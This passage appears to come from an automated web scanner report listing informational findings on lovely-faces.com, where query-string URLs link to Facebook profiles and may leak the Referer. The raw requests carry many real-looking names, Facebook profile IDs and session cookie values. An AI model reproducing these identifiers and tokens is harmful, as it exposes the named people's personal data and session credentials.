Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21302

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Jose-Javier-Zequeira/415248 target=_new><b>
...[SNIP]...

20.87. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=13951057&v_sex=2&Aaron-Kowalski--Easy-Going-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Aaron-Kowalski/13951057

Request

GET /index.php?id_face=13951057&v_sex=2&Aaron-Kowalski--Easy-Going-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:25 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19689

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aaron-Kowalski/13951057 target=_new><b>
...[SNIP]...

20.88. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1200548&v_sex=2&Alex-Watkins--Funny-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Alex-Watkins/1200548

Request

GET /index.php?id_face=1200548&v_sex=2&Alex-Watkins--Funny-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:53:12 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20182

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Alex-Watkins/1200548 target=_new><b>
...[SNIP]...

20.89. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=60705946&v_sex=1&Misscory-Lee-Lookingextraglossy--Easy-Going-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/MissCory-Lee-LookingExtraglossy/60705946

Request

GET /index.php?id_face=60705946&v_sex=1&Misscory-Lee-Lookingextraglossy--Easy-Going-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:12 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20644

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/MissCory-Lee-LookingExtraglossy/60705946 target=_new><b>
...[SNIP]...

20.90. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1077657373&Abraham-As-Ad--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abraham-Asad/1077657373

Request

GET /index.php?id_face=1077657373&Abraham-As-Ad--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:09 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21485

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abraham-Asad/1077657373 target=_new><b>
...[SNIP]...

20.91. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1213621713&Abdallah-Aboelsoud--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abdallah-Aboelsoud/1213621713

Request

GET /index.php?id_face=1213621713&Abdallah-Aboelsoud--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:56:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20169

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abdallah-Aboelsoud/1213621713 target=_new><b>
...[SNIP]...

20.92. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=4200605&Aaron-Slavutin--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Aaron-Slavutin/4200605

Request

GET /index.php?id_face=4200605&Aaron-Slavutin--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:56:54 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19852

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aaron-Slavutin/4200605 target=_new><b>
...[SNIP]...

20.93. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1408222994&Abhay-Mitter--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abhay-Mitter/1408222994

Request

GET /index.php?id_face=1408222994&Abhay-Mitter--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:56:56 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abhay-Mitter/1408222994 target=_new><b>
...[SNIP]...

20.94. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1201350663&Alvin-Yip-Taiwanese-Easy-Going-

The response contains the following link to another domain:

http://zh-tw.facebook.com/people/ALVIN-YIP/1201350663

Request

GET /index.php?id_face=1201350663&Alvin-Yip-Taiwanese-Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:31 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20425

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://zh-tw.facebook.com/people/ALVIN-YIP/1201350663 target=_new><b>
...[SNIP]...

20.95. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=626036&v_sex=2&Neel-Lalchandani--Mild-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Neel-Lalchandani/626036

Request

GET /index.php?id_face=626036&v_sex=2&Neel-Lalchandani--Mild-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:35:08 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19116

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Neel-Lalchandani/626036 target=_new><b>
...[SNIP]...

20.96. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=7206318&v_sex=2&Mark-Queen--Climber-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Mark-Queen/7206318

Request

GET /index.php?id_face=7206318&v_sex=2&Mark-Queen--Climber-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:56:58 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19704

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Mark-Queen/7206318 target=_new><b>
...[SNIP]...

20.97. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=13754281&v_sex=2&Christian-Schwier--Sly-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Christian-Schwier/13754281

Request

GET /index.php?id_face=13754281&v_sex=2&Christian-Schwier--Sly-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:57:01 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20354

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Christian-Schwier/13754281 target=_new><b>
...[SNIP]...

20.98. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=56803951&v_sex=2&Megan-Crowe--Smug-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Megan-Crowe/56803951

Request

GET /index.php?id_face=56803951&v_sex=2&Megan-Crowe--Smug-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:57:17 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19905

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Megan-Crowe/56803951 target=_new><b>
...[SNIP]...

20.99. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=203500385&v_sex=1&Matt-Sanders--Funny-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Matt-Sanders/203500385

Request

GET /index.php?id_face=203500385&v_sex=1&Matt-Sanders--Funny-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:52:52 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19719

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Matt-Sanders/203500385 target=_new><b>
...[SNIP]...

20.100. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=36611770&v_sex=1&Jessica-Burgmeier--Funny-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Jessica-Burgmeier/36611770

Request

GET /index.php?id_face=36611770&v_sex=1&Jessica-Burgmeier--Funny-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:22:16 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19201

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Jessica-Burgmeier/36611770 target=_new><b>
...[SNIP]...

20.101. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=5616354&Aaron-Bannister--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Aaron-Bannister/5616354

Request

GET /index.php?id_face=5616354&Aaron-Bannister--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:52:24 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19308

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Aaron-Bannister/5616354 target=_new><b>
...[SNIP]...

20.102. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=509088733&Abhishek-Singh--Easy-Going-

The response contains the following link to another domain:

http://www.facebook.com/people/Abhishek-Singh/509088733

Request

GET /index.php?id_face=509088733&Abhishek-Singh--Easy-Going- HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=vpuuqukgdk1ahkm3qumem87027; __utma=3888045.451728164.1296937294.1296937294.1296943339.2; __utmc=3888045; __utmb=3888045.1.10.1296943339;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:57:07 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20202

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Abhishek-Singh/509088733 target=_new><b>
...[SNIP]...

20.103. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=4811172&v_sex=2&Zeyang-Linus-Li--Funny-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Zeyang-Linus-Li/4811172

Request

GET /index.php?id_face=4811172&v_sex=2&Zeyang-Linus-Li--Funny-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:53:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19410

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Zeyang-Linus-Li/4811172 target=_new><b>
...[SNIP]...

20.104. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=14208585&v_sex=2&Joshua-Punchur--Smug-Man

The response contains the following link to another domain:

http://www.facebook.com/people/Joshua-Punchur/14208585

Request

GET /index.php?id_face=14208585&v_sex=2&Joshua-Punchur--Smug-Man HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.3.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:35:51 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 21833

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...
<br /><a href=http://www.facebook.com/people/Joshua-Punchur/14208585 target=_new><b>
...[SNIP]...

20.105. http://lovely-faces.com/index.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The page was loaded from a URL containing a query string:

http://lovely-faces.com/index.php?id_face=1285718147&v_sex=1&Shannon-Haverty--Climber-Woman

The response contains the following link to another domain:

http://www.facebook.com/people/Shannon-Haverty/1285718147

Request

GET /index.php?id_face=1285718147&v_sex=1&Shannon-Haverty--Climber-Woman HTTP/1.1
Host: lovely-faces.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=3888045.1296937294.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=d2m29fhd3k250v7inbf5p7la41; __utma=3888045.451728164.1296937294.1296937294.1296937294.1; __utmc=3888045; __utmb=3888045.1.10.1296937294;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:27:38 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Last-Modified: Sat, 05 Feb 2011 09:23:34 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20097

